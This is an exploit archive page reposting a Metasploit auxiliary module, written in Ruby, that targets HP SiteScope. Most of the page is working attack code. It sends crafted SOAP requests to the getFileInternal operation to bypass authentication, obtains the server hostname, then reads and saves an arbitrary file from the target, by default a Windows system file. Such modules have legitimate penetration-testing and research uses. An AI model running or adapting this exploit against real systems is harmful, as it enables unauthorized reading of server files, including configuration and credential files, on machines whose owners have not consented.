exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HP SiteScope SOAP Call GetFileInternal Remote File Access

HP SiteScope SOAP Call GetFileInternal Remote File Access
Posted Sep 1, 2024
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability in HP SiteScope to retrieve an arbitrary file from the remote server. It is accomplished by calling the getFileInternal operation available through the APISiteScopeImpl AXIS service. This Metasploit module has been successfully tested on HP SiteScope 11.20 over Windows 2003 SP2 and Linux Centos 6.3.

tags | exploit, remote, arbitrary, bypass
systems | linux, windows, centos
SHA-256 | ac2a6c8b7ee1032f4592faca207812805ca78af0323e9f167ee599f82c2b95f3

HP SiteScope SOAP Call GetFileInternal Remote File Access

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'HP SiteScope SOAP Call getFileInternal Remote File Access',
'Description' => %q{
This module exploits an authentication bypass vulnerability in HP SiteScope to
retrieve an arbitrary file from the remote server. It is accomplished by calling
the getFileInternal operation available through the APISiteScopeImpl AXIS service.
This module has been successfully tested on HP SiteScope 11.20 over Windows 2003
SP2 and Linux Centos 6.3.
},
'References' =>
[
[ 'OSVDB', '85119' ],
[ 'BID', '55269' ],
[ 'ZDI', '12-176' ]
],
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE
)

register_options(
[
Opt::RPORT(8080),
OptString.new('RFILE', [true, 'Remote File', 'c:\\windows\\win.ini']),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
])

register_autofilter_ports([ 8080 ])
end

def run_host(ip)
@uri = normalize_uri(target_uri.path)
@uri << '/' if @uri[-1,1] != '/'

print_status("Connecting to SiteScope SOAP Interface")

res = send_request_cgi({
'uri' => "#{@uri}services/APISiteScopeImpl",
'method' => 'GET'})

if not res
print_error("Unable to connect")
return
end

accessfile
end

def accessfile
print_status("Retrieving the target hostname")

data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
data << "<wsns0:Envelope" + "\r\n"
data << "xmlns:wsns1='https://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "xmlns:xsd='https://www.w3.org/2001/XMLSchema'" + "\r\n"
data << "xmlns:wsns0='https://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
data << ">" + "\r\n"
data << "<wsns0:Body" + "\r\n"
data << "wsns0:encodingStyle='https://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
data << ">" + "\r\n"
data << "<impl:getFileInternal" + "\r\n"
data << "xmlns:impl='https://Api.freshtech.COM'" + "\r\n"
data << ">" + "\r\n"
data << "<in0" + "\r\n"
data << "xsi:nil='true'" + "\r\n"
data << "xsi:type='xsd:string'" + "\r\n"
data << "xmlns:xsi='https://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "></in0>" + "\r\n"
data << "<in1" + "\r\n"
data << "xsi:nil='true'" + "\r\n"
data << "xsi:type='xsd:string'" + "\r\n"
data << "xmlns:xsi='https://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "></in1>" + "\r\n"
data << "</impl:getFileInternal>" + "\r\n"
data << "</wsns0:Body>" + "\r\n"
data << "</wsns0:Envelope>"

res = send_request_cgi({
'uri' => "#{@uri}services/APISiteScopeImpl",
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""',
}}, 60)

if res and res.code == 500 and res.body =~ /<ns3:hostname xmlns:ns3="https:\/\/xml.apache.org\/axis\/">(.*)<\/ns3:hostname>/m
host_name = $1
end

if not host_name or host_name.empty?
print_error("Failed to retrieve the host name")
return
end

print_status("Retrieving the file contents")

data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
data << "<wsns0:Envelope" + "\r\n"
data << "xmlns:wsns1='https://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "xmlns:xsd='https://www.w3.org/2001/XMLSchema'" + "\r\n"
data << "xmlns:wsns0='https://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
data << ">" + "\r\n"
data << "<wsns0:Body" + "\r\n"
data << "wsns0:encodingStyle='https://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
data << ">" + "\r\n"
data << "<impl:getFileInternal" + "\r\n"
data << "xmlns:impl='https://Api.freshtech.COM'" + "\r\n"
data << ">" + "\r\n"
data << "<in0" + "\r\n"
data << "xsi:type='xsd:string'" + "\r\n"
data << "xmlns:xsi='https://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << ">#{host_name}</in0>" + "\r\n"
data << "<in1" + "\r\n"
data << "xsi:type='xsd:string'" + "\r\n"
data << "xmlns:xsi='https://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << ">#{datastore['RFILE']}</in1>" + "\r\n"
data << "</impl:getFileInternal>" + "\r\n"
data << "</wsns0:Body>" + "\r\n"
data << "</wsns0:Envelope>"

res = send_request_cgi({
'uri' => "#{@uri}services/APISiteScopeImpl",
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""',
}})

if res and res.code == 200

if res.headers['Content-Type'] =~ /boundary="(.*)"/
boundary = $1
end
if not boundary or boundary.empty?
print_error("Failed to retrieve the file contents")
return
end

if res.body =~ /getFileInternalReturn href="cid:([A-F0-9]*)"/
cid = $1
end
if not cid or cid.empty?
print_error("Failed to retrieve the file contents")
return
end

if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m
loot = Rex::Text.ungzip($1)
end
if not loot or loot.empty?
print_error("Failed to retrieve the file contents")
return
end

f = ::File.basename(datastore['RFILE'])
path = store_loot('hp.sitescope.file', 'application/octet-stream', rhost, loot, f, datastore['RFILE'])
print_good("#{datastore['RFILE']} saved in #{path}")
return
end

print_error("Failed to retrieve the file contents")
end
end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close